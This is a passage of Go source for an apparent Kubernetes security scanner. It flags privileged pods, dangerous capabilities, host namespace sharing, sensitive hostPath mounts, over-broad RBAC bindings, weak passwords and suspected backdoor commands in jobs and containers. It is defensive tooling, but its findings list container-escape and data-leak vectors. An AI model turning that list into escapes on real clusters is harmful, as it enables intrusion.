Describe: "PodSecurityPolicy tolerates the privileged module, " +
"which can make the pod has a potential container escape.",
Severity: "high",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
capList := ""
for _, dcap := range psp.Spec.DefaultAddCapabilities {
if dcap == "ALL" {
capList = "ALL"
break
}
for c, _ := range dangerCaps {
if string(dcap) == c {
capList += c + " "
}
}
}
if len(capList) > 0 {
th := &threat{
Param: fmt.Sprintf("Policy Name: %s", psp.Name),
Value: fmt.Sprintf("defaultAddCapabilities: %s", capList),
Type: "PodSecurityPolicy",
Describe: "PodSecurityPolicy tolerates the dangerous capabilities, " +
"which can make the pod has a potential container escape.",
Severity: "high",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
if psp.Spec.HostPID {
th := &threat{
Param: fmt.Sprintf("Policy Name: %s", psp.Name),
Value: "HostPID",
Type: "PodSecurityPolicy",
Describe: "PodSecurityPolicy is set the `hostPID`, " +
"which attackers can see all the processes in physical machine.",
Severity: "medium",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
if psp.Spec.HostNetwork {
th := &threat{
Param: fmt.Sprintf("Policy Name: %s", psp.Name),
Value: "HostNetwork",
Type: "PodSecurityPolicy",
Describe: "PodSecurityPolicy is set `HostNetwork`, " +
"which will exposed the network of physical machine.",
Severity: "medium",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
if psp.Spec.RunAsUser.Rule == "RunAsAny" {
th := &threat{
Param: fmt.Sprintf("Policy Name: %s", psp.Name),
Value: "RunAsUser",
Type: "PodSecurityPolicy",
Describe: "Pod shouldn't be run as arbitrary user.",
Severity: "low",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
}
return nil
}
func (ks *KScanner) checkDaemonSet(ns string) error {
das, err := ks.KClient.
AppsV1().
DaemonSets(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
rv := ks.getRBACVulnType(ns)
for _, da := range das.Items {
p := ks.getPodFromLabels(da.Namespace, da.Spec.Selector.MatchLabels)
vList := ks.podAnalyze(da.Spec.Template.Spec, rv, ns, p.Name)
if len(vList) > 0 {
severity := "low"
for _, v := range vList {
if config.SeverityMap[severity] < config.SeverityMap[v.Severity] {
severity = v.Severity
}
}
// Skip the low risk
if severity == "low" {
return nil
}
var containerImages string
for _, im := range da.Spec.Template.Spec.Containers {
imageSplit := strings.Split(im.Image, "/")
containerImages += strings.Join(imageSplit, "/ ") + " | "
}
th := &threat{
Param: fmt.Sprintf("name: %s | namespace: %s", da.Name, da.Namespace),
Value: fmt.Sprintf("images: %s", containerImages),
Type: "DaemonSet",
Describe: fmt.Sprintf("Daemonset has set the unsafe pod \"%s\".", p.Name),
Severity: severity,
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
// Check the results whether the daemonset pod has been checked
ks.addExtraPod(da.Namespace, p, vList)
}
}
return nil
}
// checkJobsOrCornJob check job and cronjob whether have malicious command
func (ks *KScanner) checkJobsOrCornJob(ns string) error {
jobs, err := ks.KClient.
BatchV1().
Jobs(ns).
List(context.TODO(), metav1.ListOptions{})
rv := ks.getRBACVulnType(ns)
if err != nil {
if strings.Contains(err.Error(), "could not find the requested resource") {
goto cronJob
}
return err
}
for _, job := range jobs.Items {
for _, con := range job.Spec.Template.Spec.Containers {
command := strings.Join(con.Command, " ")
detect := maliciousContentCheck(command)
switch detect.Types {
case Confusion:
p := ks.getPodFromLabels(ns, job.Spec.Selector.MatchLabels)
vList := ks.podAnalyze(job.Spec.Template.Spec, rv, ns, p.Name)
if len(vList) > 1 {
severity := "low"
for _, v := range vList {
if config.SeverityMap[severity] < config.SeverityMap[v.Severity] {
severity = v.Severity
}
}
if severity == "low" {
return nil
}
th := &threat{
Param: fmt.Sprintf("Job Name: %s Namespace: %s", job.Name, ns),
Value: fmt.Sprintf("Job pod name: %s", p.Name),
Type: "Job",
Describe: fmt.Sprintf("Job Command '%s' finds high risk content(score: %.2f bigger than 0.75), "+
"and has dangerous configurations, considering it as a backdoor.", detect.Plain, detect.Score),
Severity: severity,
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
ks.addExtraPod(ns, p, vList)
}
default:
// ignore
}
}
}
cronJob:
cronjobs, err := ks.KClient.
BatchV1().
CronJobs(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
for _, cronjob := range cronjobs.Items {
for _, con := range cronjob.Spec.JobTemplate.Spec.Template.Spec.Containers {
command := strings.Join(con.Command, " ")
detect := maliciousContentCheck(command)
switch detect.Types {
case Confusion:
p := ks.getPodFromLabels(ns, cronjob.Spec.JobTemplate.Spec.Selector.MatchLabels)
vList := ks.podAnalyze(cronjob.Spec.JobTemplate.Spec.Template.Spec, rv, ns, p.Name)
if len(vList) > 1 {
severity := "low"
for _, v := range vList {
if config.SeverityMap[severity] < config.SeverityMap[v.Severity] {
severity = v.Severity
}
}
if severity == "low" {
return nil
}
th := &threat{
Param: fmt.Sprintf("CronJob Name: %s Namespace: %s", cronjob.Name, ns),
Value: fmt.Sprintf("CronJob pod name: %s", p.Name),
Type: "CronJob",
Describe: fmt.Sprintf("CronJob Command '%s' finds high risk content(score: %.2f bigger than 0.75), "+
"and has dangerous configurations, considering it as a backdoor.", detect.Plain, detect.Score),
Severity: severity,
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
ks.addExtraPod(ns, p, vList)
}
default:
// ignore
}
}
}
return nil
}
func (ks *KScanner) checkCerts() error {
log.Printf(config.Yellow("Begin cert analyzing"))
kubeConfig, err := clientcmd.LoadFromFile("/etc/kubernetes/admin.conf")
if err != nil {
if strings.Contains(err.Error(), "no such file or directory") {
return nil
}
return err
}
authInfoName := kubeConfig.Contexts[kubeConfig.CurrentContext].AuthInfo
authInfo := kubeConfig.AuthInfos[authInfoName]
certs, err := certutil.ParseCertsPEM(authInfo.ClientCertificateData)
expiration := certs[0].NotAfter
now := time.Now()
if expiration.Before(now.AddDate(0, 0, 30)) {
th := &threat{
Param: "Kubernetes certificate expiration",
Value: fmt.Sprintf("expire time: %s", expiration.Format("2006-02-01")),
Type: "certification",
Describe: "Your certificate will be expired after 30 days.",
Severity: "medium",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
return nil
}
func checkK8sVersion(cli vulnlib.Client, k8sVersion string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
k, err := version2.NewVersion(k8sVersion)
if err != nil {
return vuln, tlist
}
// temporarily skip the openshift version detect
minimumVersion, _ := version2.NewVersion("1.18.0")
if k.Compare(minimumVersion) <= 0 {
return vuln, tlist
}
rows, err := cli.QueryVulnByName("kubernetes")
if err != nil {
log.Printf("faield to search database, error: %v", err)
return vuln, tlist
}
for _, row := range rows {
if compareVersion(k8sVersion, row.MaxVersion, row.MinVersion) {
// Skip the Jenkins Kubernetes Plugin vulnerability
if strings.Contains(row.Description, "Plugin") {
continue
}
th := &threat{
Param: "kubernetes version",
Value: k8sVersion,
Type: "K8s vulnerable version",
Describe: fmt.Sprintf("Kubernetes version is suffering the %s vulnerablility "+
"under the version %s, need to update.", row.CVEID, strings.TrimPrefix(row.MaxVersion, "=")),
Reference: "Update Kubernetes.",
Severity: strings.ToLower(row.Level),
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
================================================
FILE: internal/analyzer/k8s_dashboard.go
================================================
package analyzer
import (
"context"
"log"
rv1 "k8s.io/api/rbac/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)
// checkKuberDashboard extra checks Kubernetes dashboard
func (ks *KScanner) checkKuberDashboard() error {
log.Printf("Begin Dashboard analyzing")
deploys, err := ks.KClient.
AppsV1().
Deployments("kubernetes-dashboard").
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
for _, dp := range deploys.Items {
if dp.Name != "kubernetes-dashboard" {
continue
}
args := dp.Spec.Template.Spec.Containers[0].Args
for _, arg := range args {
if arg == "--enable-skip-login" {
th := &threat{
Param: "Kubernetes-dashboard --args",
Value: "--enable-skip-login",
Type: "Deployment",
Describe: "Staring with --enable-skip-login has a potential sensitive data leakage.",
Severity: "low",
}
ks.checkDashboardRBAC(th)
ks.VulnConfigures = append(ks.VulnConfigures, th)
break
}
}
}
return nil
}
func (ks *KScanner) checkDashboardRBAC(th *threat) {
clrb, err := ks.KClient.
RbacV1().
ClusterRoleBindings().
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return
}
clr, err := ks.KClient.
RbacV1().
ClusterRoles().
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return
}
for _, rb := range clrb.Items {
for _, sub := range rb.Subjects {
if sub.Kind != "ServiceAccount" || sub.Name != "kubernetes-dashboard" {
continue
}
if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, rb.RoleRef.Name); ok {
// Check the clusterrole configuration
severity := tlist[0].Severity
if severity == "medium" {
th.Severity = "high"
th.Describe = "Staring with --enable-skip-login with view permission " +
"has a sensitive data leakage."
} else if severity == "high" {
th.Severity = "critical"
th.Describe = "Staring with --enable-skip-login with all permission " +
"will cause a potential container escape."
}
return
}
}
}
}
================================================
FILE: internal/analyzer/k8s_pod.go
================================================
package analyzer
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/kvesta/vesta/config"
v1 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)
func (ks *KScanner) podAnalyze(podSpec v1.PodSpec, rv RBACVuln, ns, podName string) []*threat {
vList := []*threat{}
for _, nswList := range namespaceWhileList {
if ns == nswList {
pruned, err := ks.prunePod(ns, podName)
if err != nil {
break
}
if pruned {
return vList
}
pod, err := ks.KClient.
CoreV1().
Pods(ns).
Get(context.TODO(), podName, metav1.GetOptions{})
if err != nil {
break
}
age := time.Since(pod.CreationTimestamp.Time)
if age.Hours() < 168 {
th := &threat{
Param: "replaced time",
Value: pod.CreationTimestamp.Time.Format("02/01/2006"),
Type: "Pod modify",
Describe: fmt.Sprintf("Pod has been modified %.2f hours ageo "+
"in crucial namespace: %s", age.Hours(), ns),
Severity: "medium",
}
vList = append(vList, th)
}
break
}
}
// Check the potential trampoline attack
if ok, tlist := ks.checkPodNodeSelector(podSpec); ok {
vList = append(vList, tlist...)
}
if podSpec.HostPID {
th := &threat{
Param: "Pod hostPID",
Value: "true",
Type: "hostPID",
Describe: "Pod is running with `hostPID`, " +
"which attackers can see all the processes in physical machine.",
Severity: "medium",
}
vList = append(vList, th)
}
if podSpec.HostNetwork {
th := &threat{
Param: "Pod hostNetwork",
Value: "true",
Type: "hostNetwork",
Describe: "Pod is running with `hostNetwork`, " +
"which will expose the network of physical machine.",
Severity: "medium",
}
vList = append(vList, th)
}
if podSpec.HostIPC {
th := &threat{
Param: "Pod hostIPC",
Value: "true",
Type: "hostIPC",
Describe: "Pod is running with `hostIPC`, " +
"which will expose all the data in shared memory segments.",
Severity: "medium",
}
vList = append(vList, th)
}
for _, v := range podSpec.Volumes {
if ok, tlist := checkPodVolume(v); ok {
vList = append(vList, tlist...)
}
}
for _, sp := range podSpec.Containers {
// Skip some sidecars
if sp.Name == "istio-proxy" {
// Try to check the istio header `X-Envoy-Peer-Metadata`
// reference: https://github.com/istio/istio/issues/17635
if ok, tlist := ks.checkIstioHeader(podName, ns, podSpec.Containers[0].Name); ok {
vList = append(vList, tlist...)
}
continue
}
if ok, tlist := checkPodPrivileged(sp); ok {
vList = append(vList, tlist...)
}
if ok, tlist := checkPodAccountService(sp, rv); ok {
vList = append(vList, tlist...)
}
if ok, tlist := checkResourcesLimits(sp, podSpec.Volumes); ok {
vList = append(vList, tlist...)
}
if ok, tlist := ks.checkSidecarEnv(sp, ns); ok {
vList = append(vList, tlist...)
}
if ok, tlist := ks.checkPodCommand(sp, ns); ok {
vList = append(vList, tlist...)
}
// Check CVE-2024-21626
if cveRuncRegex.MatchString(sp.WorkingDir) {
th := &threat{
Param: "Pod WorkDIR",
Value: fmt.Sprintf("WORKDIR: %s", sp.WorkingDir),
Type: "Suspect malicious pod",
Describe: fmt.Sprintf("Pod has malicious configuration, it's WORKDIR is '%s',"+
" which has a potential container escape, refer to CVE-2024-21626.", sp.WorkingDir),
Reference: "https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv",
Severity: "high",
}
vList = append(vList, th)
}
}
return vList
}
func checkPodVolume(container v1.Volume) (bool, []*threat) {
tlist := []*threat{}
var vuln = false
hostPath := container.HostPath
if hostPath != nil {
//volumePath := filepath.Dir(hostPath.Path)
volumePath := hostPath.Path
if isVuln := checkMountPath(volumePath); isVuln {
th := &threat{
Param: fmt.Sprintf("volumes name: %s", container.Name),
Value: volumePath,
Type: string(*hostPath.Type),
Describe: fmt.Sprintf("Mounting '%s' is suffer vulnerable of "+
"container escape.", volumePath),
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func checkPodPrivileged(container v1.Container) (bool, []*threat) {
tlist := []*threat{}
var vuln = false
if container.SecurityContext != nil {
// check capabilities of pod
// Ignore the checking of cap_drop refer to:
// https://stackoverflow.com/questions/63162665/docker-compose-order-of-cap-drop-and-cap-add
capList, highestSeverity := "", "medium"
if container.SecurityContext.Capabilities != nil {
adds := container.SecurityContext.Capabilities.Add
for _, ad := range adds {
if ad == "ALL" {
capList = "ALL"
highestSeverity = "critical"
vuln = true
break
}
for c, s := range dangerCaps {
if string(ad) == c {
capList += c + " "
if config.SeverityMap[s] > config.SeverityMap[highestSeverity] {
highestSeverity = s
}
vuln = true
}
}
}
if vuln {
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | "+
"capabilities", container.Name),
Value: capList,
Type: "capabilities.add",
Describe: "There has a potential container escape in dangerous capabilities.",
Severity: highestSeverity,
}
tlist = append(tlist, th)
}
}
if container.SecurityContext.Privileged != nil && *container.SecurityContext.Privileged {
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | "+
"Privileged", container.Name),
Value: "true",
Type: "Sidecar Privileged",
Describe: "There has a potential container escape in privileged module.",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
if container.SecurityContext.AllowPrivilegeEscalation != nil && *container.SecurityContext.AllowPrivilegeEscalation {
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | "+
"AllowPrivilegeEscalation", container.Name),
Value: "true",
Type: "Sidecar Privileged",
Describe: "There has a potential container escape in privileged module.",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func (ks *KScanner) checkSidecarEnv(container v1.Container, ns string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
// Check Pod Env
for _, env := range container.Env {
needCheck := false
if env.ValueFrom != nil {
switch {
case env.ValueFrom.SecretKeyRef != nil:
secretRef := env.ValueFrom.SecretKeyRef
if ok, th := ks.checkSecretFromName(ns, secretRef.Key, secretRef.Name, env.Name); ok {
th.Param = fmt.Sprintf("sidecar name: %s | env", container.Name)
tlist = append(tlist, th)
vuln = true
}
continue
case env.ValueFrom.ConfigMapKeyRef != nil:
configRef := env.ValueFrom.ConfigMapKeyRef
if ok, th := ks.checkConfigFromName(ns, configRef.Name, configRef.Key, env.Name); ok {
th.Param = fmt.Sprintf("sidecar name: %s | env", container.Name)
tlist = append(tlist, th)
vuln = true
}
continue
}
}
for _, p := range passKey {
if p.MatchString(env.Name) && env.ValueFrom == nil {
needCheck = true
break
}
}
if needCheck {
switch checkWeakPassword(env.Value) {
case "Weak":
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | env", container.Name),
Value: fmt.Sprintf("%s: %s", env.Name, env.Value),
Type: "Sidecar Env",
Describe: fmt.Sprintf("Container '%s' has found weak password: '%s'.", container.Name, env.Value),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case "Medium":
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | env", container.Name),
Value: fmt.Sprintf("%s: %s", env.Name, env.Value),
Type: "Sidecar Env",
Describe: fmt.Sprintf("Container '%s' has found password '%s' "+
"need to be reinforeced.", container.Name, env.Value),
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
}
}
detect := maliciousContentCheck(env.Value)
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | env", container.Name),
Value: fmt.Sprintf("%s: %s", env.Name, detect.Plain),
Type: "Sidecar Env",
}
switch detect.Types {
case Confusion:
th.Describe = fmt.Sprintf("Container '%s' finds high risk content(score: %.2f bigger than 0.75), "+
"which is a suspect command backdoor. ", container.Name, detect.Score)
th.Severity = "high"
tlist = append(tlist, th)
vuln = true
case Executable:
th.Describe = fmt.Sprintf("An executable format of content is detected in Container '%s', "+
"which is a potential backdoor and scanning the vulnerability is highly recommended.", container.Name)
th.Severity = "critical"
tlist = append(tlist, th)
vuln = true
default:
// ignore
}
}
// Check pod envFrom
for _, envFrom := range container.EnvFrom {
switch {
case envFrom.ConfigMapRef != nil:
configRef := envFrom.ConfigMapRef
configReg := regexp.MustCompile(`ConfigMap Name: (.*)? Namespace: (.*)`)
if ok, th := ks.checkConfigVulnType(ns, configRef.Name, "ConfigMap", configReg); ok {
th.Param = fmt.Sprintf("sidecar name: %s | env", container.Name)
tlist = append(tlist, th)
vuln = true
}
case envFrom.SecretRef != nil:
configRef := envFrom.SecretRef
configReg := regexp.MustCompile(`Secret Name: (.*)? Namespace: (.*)`)
if ok, th := ks.checkConfigVulnType(ns, configRef.Name, "Secret", configReg); ok {
th.Param = fmt.Sprintf("sidecar name: %s | env", container.Name)
tlist = append(tlist, th)
vuln = true
}
default:
//ignore
}
}
return vuln, tlist
}
func checkResourcesLimits(container v1.Container, volumes []v1.Volume) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
if len(container.Resources.Limits) < 1 {
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | "+
"Resource", container.Name),
Value: "memory, cpu, ephemeral-storage",
Type: "Sidecar Resource",
Describe: "None of resources is be limited.",
Reference: "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
return vuln, tlist
}
if container.Resources.Limits.Memory().String() == "0" {
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | "+
"Resource", container.Name),
Value: "memory",
Type: "Sidecar Resource",
Describe: "Memory usage is not limited.",
Reference: "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
if container.Resources.Limits.Cpu().String() == "0" {
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | "+
"Resource", container.Name),
Value: "cpu",
Type: "Sidecar Resource",
Describe: "CPU usage is not limited.",
Reference: "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
// Checking the correction of storage limit usage
if container.Resources.Limits.StorageEphemeral().String() != "0" {
podVolumes := container.VolumeMounts
for _, podV := range podVolumes {
for _, v := range volumes {
if v.HostPath != nil {
if podV.Name == v.Name {
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | "+
"Resource", container.Name),
Value: "ephemeral-storage",
Type: "Sidecar Resource",
Describe: fmt.Sprintf("Ephemeral storage is used but in volumes '%s' with type hostpath, "+
"which limitation will not work.", v.Name),
Reference: "https://kubernetes.io/docs/concepts/storage/ephemeral-volumes/#types-of-ephemeral-volumes",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
}
}
return vuln, tlist
}
// checkPodAccountService check the default mount of service account
func checkPodAccountService(container v1.Container, rv RBACVuln) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
for _, vc := range container.VolumeMounts {
if vc.MountPath == "/var/run/secrets/kubernetes.io/serviceaccount" {
th := &threat{
Param: fmt.Sprintf("sidecar name: %s | "+
"automountServiceAccountToken", container.Name),
Value: "true",
Type: vc.Name,
Describe: "Mount service account has a potential sensitive data leakage.",
Severity: "low",
}
switch rv.Severity {
case "high":
th.Severity = "critical"
th.Describe = fmt.Sprintf("Mount service account and key permission are given, "+
"which will cause a potential container escape. "+
"Reference clsuterRolebind: %s | roleBinding: %s",
rv.ClusterRoleBinding, rv.RoleBinding)
case "medium":
th.Severity = "high"
th.Describe = fmt.Sprintf("Mount service account and view permission are given, "+
"which will cause a sensitive data leakage. "+
"Reference clsuterRolebind: %s | roleBinding: %s",
rv.ClusterRoleBinding, rv.RoleBinding)
case "low":
th.Severity = "medium"
th.Describe = fmt.Sprintf("Mount service account and some permission are given, "+
"which will cause a potential data leakage. "+
"Reference clsuterRolebind: %s | roleBinding: %s",
rv.ClusterRoleBinding, rv.RoleBinding)
default:
//ignore
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func checkPodAnnotation(ans map[string]string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
for k, v := range ans {
for n, t := range unsafeAnnotations {
if k == n {
if len(t.Values) > 0 {
for _, sv := range t.Values {
if strings.Contains(v, sv) {
th := &threat{
Param: fmt.Sprintf("pod annotation"),
Value: fmt.Sprintf("%s: %s", k, v),
Type: "Pod Annotation",
Describe: fmt.Sprintf("Pod Annotation has an unsafe config from %s"+
" and value is `%s`.", t.component, v),
Severity: t.level,
}
tlist = append(tlist, th)
vuln = true
break
}
}
} else {
th := &threat{
Param: fmt.Sprintf("pod annotation"),
Value: fmt.Sprintf("%s: %s", k, v),
Type: "Pod Annotation",
Describe: fmt.Sprintf("Pod Annotation detects unsafe annotation name from %s"+
" and value is `%s`, need to check.", t.component, v),
Severity: t.level,
}
tlist = append(tlist, th)
vuln = true
}
}
}
}
return vuln, tlist
}
func (ks *KScanner) checkPodCommand(container v1.Container, ns string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
comRex := regexp.MustCompile(`\$(\w+)`)
commands := strings.Join(container.Command, " ") + " "
commands += strings.Join(container.Args, " ")
comMatch := comRex.FindAllStringSubmatch(commands, -1)
if len(comMatch) > 1 {
for _, v := range comMatch[1:] {
val := ks.findEnvValue(container, v[1], ns)
detect := maliciousContentCheck(val)
switch detect.Types {
case Confusion:
th := &threat{
Param: "Pod command",
Value: fmt.Sprintf("command: %s", detect.Plain),
Type: "Pod Command",
Describe: fmt.Sprintf("Container command has found high risk environment in '%s'(score: %.2f bigger than 0.75), "+
"considering it as a backdoor.", v[0], detect.Score),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
return vuln, tlist
case Executable:
th := &threat{
Param: "Pod command",
Value: fmt.Sprintf("command: %s", detect.Plain),
Type: "Pod Command",
Describe: fmt.Sprintf("Container command has found executable risk environment in '%s', "+
"considering it as a backdoor.", v[0]),
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
return vuln, tlist
default:
// ignore
}
}
}
detect := maliciousContentCheck(commands)
switch detect.Types {
case Confusion:
th := &threat{
Param: "Pod command",
Value: fmt.Sprintf("command: %s", detect.Plain),
Type: "Pod Command",
Describe: fmt.Sprintf("Pod Command finds high risk content(score: %.2f bigger than 0.75), "+
"considering it as a backdoor.", detect.Score),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case Executable:
th := &threat{
Param: "Pod command",
Value: fmt.Sprintf("command: %s", detect.Plain),
Type: "Pod Command",
Describe: "Container command is detected as a binary, " +
"considering it as a backdoor.",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
default:
// ignore
}
return vuln, tlist
}
func (ks *KScanner) checkPodNodeSelector(podSpec v1.PodSpec) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
if podSpec.NodeName != "" {
nodeName := podSpec.NodeName
if _, ok := ks.MasterNodes[nodeName]; ok {
if ks.MasterNodes[nodeName].IsMaster {
th := &threat{
Param: "Node Name",
Value: nodeName,
Type: "Pod Master NodeName",
Describe: "Pod is compulsively deployed in a master node.",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
}
}
for key, value := range podSpec.NodeSelector {
for _, node := range ks.MasterNodes {
if rv, ok := node.Role[key]; ok {
if value == rv && node.IsMaster {
th := &threat{
Param: fmt.Sprintf("nodeselector key: %s", key),
Value: value,
Type: "Pod NodeSelector",
Describe: "Pod is compulsively deployed in a master node.",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
}
return vuln, tlist
}
================================================
FILE: internal/analyzer/k8s_rbac.go
================================================
package analyzer
import (
"context"
"fmt"
"log"
"regexp"
"strings"
"github.com/kvesta/vesta/config"
rv1 "k8s.io/api/rbac/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)
func (ks *KScanner) checkRoleBinding(ns string) error {
rbs, err := ks.KClient.
RbacV1().
RoleBindings(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
rls, err := ks.KClient.
RbacV1().
Roles(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
clr, err := ks.KClient.
RbacV1().
ClusterRoles().
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
checkBindKing := func(ruleKind, ruleName, roleName, subKind, subName, ns string) {
switch ruleKind {
case "Role":
if ok, tlist := checkMatchingRole([]rv1.ClusterRole{}, rls.Items, ruleName); ok {
for _, th := range tlist {
th.Type = "RoleBinding"
th.Param = fmt.Sprintf("binding name: %s "+
"| rolename: %s | role kind: Role "+
"| subject kind: %s | subject name: %s | namespace: %s", roleName, ruleName, subKind, subName, ns)
if subKind == "User" && !strings.HasPrefix(subName, "system:kube-") {
if config.SeverityMap[th.Severity] < 4 {
continue
}
th.Severity = "warning"
th.Describe = fmt.Sprintf("Key permission are given to unknown user '%s', "+
"printing it for checking.", subName)
}
if strings.Contains(subName, "unauthenticated") {
if th.Severity == "medium" {
th.Severity = "high"
}
th.Describe = "Key permission are given and every pod can access it, " +
"which will cause a potential data leakage."
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
}
case "ClusterRole":
if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {
for _, th := range tlist {
th.Type = "RoleBinding"
th.Param = fmt.Sprintf("binding name: %s "+
"| rolename: %s | role kind: ClusterRole "+
"| subject kind: %s | subject name: %s | namespace: %s", roleName, ruleName, subKind, subName, ns)
if subKind == "User" && !strings.HasPrefix(subName, "system:kube-") {
if config.SeverityMap[th.Severity] < 4 {
continue
}
th.Severity = "warning"
th.Describe = fmt.Sprintf("Key permission are given to unknown user '%s', "+
"printing it for checking.", subName)
}
if strings.Contains(subName, "unauthenticated") {
if th.Severity == "medium" {
th.Severity = "high"
}
th.Describe = "Key permission are given and every pod can access it, " +
"which will cause a potential data leakage."
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
}
default:
// ignore
}
}
for _, rb := range rbs.Items {
for _, sub := range rb.Subjects {
// Ignore namespace in while list
isWhite := false
for _, wns := range namespaceWhileList {
if sub.Namespace == wns {
isWhite = true
break
}
}
if isWhite {
continue
}
ruleKind := rb.RoleRef.Kind
ruleName := rb.RoleRef.Name
if len(sub.Namespace) < 1 {
sub.Namespace = "all"
}
switch sub.Kind {
case "Group":
switch sub.Name {
case "system:serviceaccounts", "system:authenticated", "system:unauthenticated":
checkBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace)
default:
// Case of system:serviceaccounts::
if strings.HasPrefix(sub.Name, "system:serviceaccounts:") {
if len(strings.Split(sub.Name, ":")) > 3 {
continue
}
roleNs := strings.Split(sub.Name, ":")[2]
checkBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, roleNs)
}
}
case "ServiceAccount":
if sub.Name != "system:anonymous" && sub.Name != "default" {
continue
}
checkBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace)
case "User":
checkBindKing(ruleKind, ruleName, rb.Name, sub.Kind, sub.Name, sub.Namespace)
}
}
}
return nil
}
func (ks *KScanner) checkClusterBinding() error {
log.Printf(config.Yellow("Begin ClusterRoleBinding analyzing"))
clrb, err := ks.KClient.
RbacV1().
ClusterRoleBindings().
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
clr, err := ks.KClient.
RbacV1().
ClusterRoles().
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
for _, rb := range clrb.Items {
for _, sub := range rb.Subjects {
// Ignore namespace in while list
isWhite := false
for _, ns := range namespaceWhileList {
if sub.Namespace == ns {
isWhite = true
break
}
}
// Skip system:basic-user rolebinding name
if rb.Name == "system:basic-user" {
isWhite = true
}
if isWhite {
continue
}
ruleName := rb.RoleRef.Name
if len(sub.Namespace) < 1 {
sub.Namespace = "all"
}
switch sub.Kind {
case "Group":
switch sub.Name {
case "system:serviceaccounts", "system:authenticated":
if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {
for _, th := range tlist {
th.Type = "ClusterRoleBinding"
th.Param = fmt.Sprintf("binding name: %s "+
"| rolename: %s | role kind: ClusterRole "+
"| subject kind: %s | subject name: %s | namespace: %s", rb.Name, ruleName, sub.Kind, sub.Name, sub.Namespace)
th.Describe = "Key permission are given to all account, which will cause a potential container escape."
}
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
case "system:unauthenticated":
if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {
for _, th := range tlist {
th.Type = "ClusterRoleBinding"
th.Param = fmt.Sprintf("binding name: %s "+
"| rolename: %s | role kind: ClusterRole "+
"| subject kind: %s | subject name: %s | namespace: %s",
rb.Name, ruleName, sub.Kind, sub.Name, sub.Namespace)
th.Describe = "Key permission are given and every pod can access it, which will cause a potential container escape."
}
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
default:
// Case of system:serviceaccounts::
if strings.HasPrefix(sub.Name, "system:serviceaccounts:") {
if len(strings.Split(sub.Name, ":")) > 3 {
continue
}
roleNs := strings.Split(sub.Name, ":")[2]
